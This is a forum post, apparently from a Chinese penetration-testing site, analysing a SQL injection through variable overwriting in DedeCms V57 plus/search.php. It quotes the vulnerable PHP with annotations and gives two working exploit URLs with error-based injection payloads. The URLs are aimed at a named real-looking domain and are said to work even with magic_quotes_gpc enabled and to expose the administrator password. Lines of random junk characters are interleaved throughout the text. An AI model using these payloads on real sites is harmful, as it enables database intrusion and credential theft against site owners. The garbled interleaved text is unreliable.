中国网络渗透测试联盟
标题:
DedeCms V57 plus/search.php文件SQL注射
[打印本页]
作者:
admin
时间:
2013-1-19 08:18
标题:
DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
0 v' A: d* U# T$ s
作者:
c4rp3nt3r@0x50sec.org
% W% m5 O8 ]2 j4 Q: [
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
- ~, h" [" c `0 X. @# L
# G6 K/ y# |5 w% S# ^$ x6 d+ H- s# i
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
; ?8 u e" }# A& q/ u, F
" C8 W/ t/ y, T/ ~6 j! e) ?3 \, F
============
) t5 X- T! k" n1 N
" i: T+ t, G; q) s7 t
5 R* p8 S( v1 k) M% d. L- S; ^$ c
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
! u+ s9 w* C+ {. e0 {& v9 O
7 v( b; S$ c$ c! m i
require_once(dirname(__FILE__).”/../include/common.inc.php”);
: x, C2 P! \2 a v& Z7 W, l
require_once(DEDEINC.”/arc.searchview.class.php”);
_0 x# L0 P# M2 G
0 l |0 b! O5 g8 C) Z5 U
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
3 h* ^+ E4 A9 r; K
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
# c- W- E+ e( N& k! [( C1 l! K
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
' ^0 v3 J6 r. }. s
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
8 ^: `/ c& k3 Q. V* b4 ?9 v
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
- `" |5 J$ G3 m0 N
* ]# L. _( K! K% B
if(!isset($orderby)) $orderby=”;
" Z' @4 w& H, I) f3 L G% c
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
( i$ e& `8 g4 l7 q: g$ L2 V5 C5 Q
' Y5 m- t* d$ L. ~+ b
; n C& y6 U% e5 W$ M
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
' e. i5 k8 D0 i3 ?, J, ^
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
) S! e; u# y f% S8 \( A3 G
3 o! h) n- T5 J8 b
if(!isset($keyword)){
) J8 ~: X5 k, H+ e
if(!isset($q)) $q = ”;
. _+ J# @; w, y) G
$keyword=$q;
9 j, B3 w3 d- R% z
}
9 ~6 r+ x2 j$ e3 P( {
) u' ^3 i- y6 x5 S* P/ \
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
$ F: t! `# p/ W
: h9 g+ S( ` _4 i$ J9 D# A/ ?' e
//查找栏目信息
; K1 g+ k# P8 H m
if(empty($typeid))
0 b* n* ?* p, J) S
{
& S3 `) R( o) N. T
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
6 v# L! J+ k X% [6 e' [
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
2 j9 \! G2 ]1 W0 x0 }1 g
{
/ B/ a3 r3 T j' R
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
5 F. M6 U4 }# r( U' ^' C' m* I ~- n
fwrite($fp, “<”.”?php\r\n”);
* v. |& I9 D: W. i% V$ z+ }0 q6 W
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
& ?4 v( }5 G4 }# D. Z6 b1 T' b
$dsql->Execute();
! a8 n1 ^+ t" B3 R; O: {! V
while($row = $dsql->GetArray())
8 C1 K5 O" b/ D3 s
{
2 s7 Z3 @/ V9 U; c' p
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
3 }9 D4 C1 t% K: p: U# X/ j# i
}
( r+ A: L# H! z* d5 ?2 s+ B
fwrite($fp, ‘?’.'>’);
% z, P Z6 S/ V. E f& Q0 q
fclose($fp);
0 G) y; n) z! f; [* D
}
. J: ?$ D! J$ v+ i! o3 S, l
//引入栏目缓存并看关键字是否有相关栏目内容
`& k7 ^' i' R" N$ _5 f O$ E8 G
require_once($typenameCacheFile);
* X1 H0 G' X* I* ~/ L) f
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
3 V7 N, A, Q$ ~" j y
//
) k# j% j8 i5 L/ F% _) K
if(isset($typeArr) && is_array($typeArr))
, `5 V+ s [$ S. m5 z0 N2 w
{
4 Z- D6 T+ o: f! ~5 w
foreach($typeArr as $id=>$typename)
/ U- c3 X6 w* v6 [* e& a' ?% w
{
# Q: B4 a' p2 b0 r0 b9 a: H
; v2 w9 A( F! i" \5 t0 f
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
+ T7 Y! r6 k4 m( x
if($keyword != $keywordn)
! `# n; j& q& f2 s! o
{
( \3 w% j% k1 V2 L: L
$keyword = $keywordn;
, x1 f& w; p- ?7 {. {
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
) |% m; t5 S8 K* ~8 v C5 a k
break;
" U2 `8 g, y; e7 {, G+ q' r- q* f
}
2 q. k- r% H3 m& K- Z2 x' m2 F( r) L
}
) B# }" O/ W6 d) x0 H& O
}
" q/ D+ e2 c* R
}
2 M& M. P# A% z" `
然后plus/search.php文件下面定义了一个 Search类的对象 .
1 c2 }' R+ v# D; k Y
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
8 U$ P3 d" _: d1 h/ W, t4 R6 A
$this->TypeLink = new TypeLink($typeid);
# r a1 X& ?7 y' P
4 m! z+ r3 g* S0 O) B" T4 p" _
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
" c1 m2 a9 U6 V& H% N$ U
$ i [6 x- }5 i0 K
class TypeLink
+ ?0 M! m& g H) ?4 X* E! f
{
0 r) {& g. B H5 J/ H! U5 y
var $typeDir;
1 x! p; z$ `, O( e/ y2 A0 E
var $dsql;
3 l/ w) x7 H F s
var $TypeID;
" q B9 |7 j" q, E) ?' W" _+ g
var $baseDir;
" w, q; k: L0 I9 O9 C
var $modDir;
8 _8 w+ H) i/ y+ g) x7 H. Y& Q
var $indexUrl;
* L5 f* J: ~; V; Q! P8 U$ v
var $indexName;
# F( a% [- V/ F* N1 f
var $TypeInfos;
8 `2 ]6 o7 F% Y+ j7 q! L
var $SplitSymbol;
+ z. Y3 E _2 I
var $valuePosition;
3 @0 ~& a+ i( b( o
var $valuePositionName;
) |3 G. n9 v; S7 M% W% G
var $OptionArrayList;//构造函数///////
' J9 C% q! ^$ Q1 h( F9 ?
//php5构造函数
* V8 f# U- N! }: _
function __construct($typeid)
+ X+ t) \+ A3 [0 z4 [
{
& [% a( V9 A3 P& y5 ^: u0 q6 \& J
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
7 Q7 M1 n7 ^( I; z' @! C
$this->indexName = $GLOBALS['cfg_indexname'];
4 ?6 g0 D" T; A q! i- {6 a
$this->baseDir = $GLOBALS['cfg_basedir'];
0 R2 B/ Q0 l$ ^% T! h" U
$this->modDir = $GLOBALS['cfg_templets_dir'];
8 {( e4 ^, q" @
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
) m: z+ J. Y5 \0 Q) _$ C
$this->dsql = $GLOBALS['dsql'];
- w; v/ P7 u- |
$this->TypeID = $typeid;
' d1 O( \ A5 |# v; i! K
$this->valuePosition = ”;
1 |! X- f+ o; p: P, z
$this->valuePositionName = ”;
& d& ]1 C. j) n% ]
$this->typeDir = ”;
0 K q& B5 y; p! |/ M
$this->OptionArrayList = ”;
_: J$ z( ]/ M* n5 ?3 J
. j9 z# x, W% V* a- q, ]
//载入类目信息
, J5 i! t, {5 W: s7 j
/ s2 n" v4 C z5 g9 t+ Z1 O; c- h
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
7 {" L4 d6 }' \
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
! ^" T- M" N/ C7 P7 i: C+ J9 g
`#@__channeltype` ch
0 [. e7 q$ `3 x2 H# O
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
2 l6 f% V ^ K! o3 M
% z7 {; P/ ]$ H4 f9 q$ [6 u0 G Y
if($typeid > 0)
! Q' M/ ^; K8 |" h3 x) s
{
+ \, M# T: L& c. c# e% `& s* }9 f
$this->TypeInfos = $this->dsql->GetOne($query);
$ r9 f- l$ |% O5 b7 ~& }( C
利用代码一 需要 即使magic_quotes_gpc = Off
% |$ _: o. ~1 D. F; k" ~3 x% f5 R
, ?* q/ l7 U! R( m
www.political-security.com
/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
2 h4 ? I m% b' M3 j
4 e6 ^! n6 \) S! [5 \# f
这只是其中一个利用代码… Search 类的构造函数再往下
8 W3 _, d/ `7 ]4 Q9 u# M) A8 u
0 h* g/ D9 _6 |8 @* m
……省略
4 c) O o s8 z8 p" k
$this->TypeID = $typeid;
) |0 J1 ]* I* P* P1 p
……省略
4 Q3 r" t: k: m
if($this->TypeID==”0″){
8 D. K! z. c8 K8 q+ s9 s7 D
$this->ChannelTypeid=1;
: e' x3 f* A) U& o4 }
}else{
/ b6 X, v0 J/ ~. [4 z# z9 K5 l4 K
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
6 z' t) i) S+ G. Z2 c4 h! e
//现在不鸡肋了吧亲…
8 N$ `( k0 _( J q( _+ a
$this->ChannelTypeid=$row['channeltype'];
/ O& }* J9 K4 f" E8 F* {$ B" K; i
" l/ `5 s& ~% Y
}
* \1 h# H# t& z4 j9 _. {2 @0 n* K# G
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
0 P7 T" }4 S, `, \7 y+ O
, g/ p: f7 e- b
www.political-security.com
/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
$ J6 V3 v! k/ `( l2 }" @
- C2 U4 r% Z7 u0 h/ m: ?0 L
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
$ y- v: K& |$ b6 x2 u
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2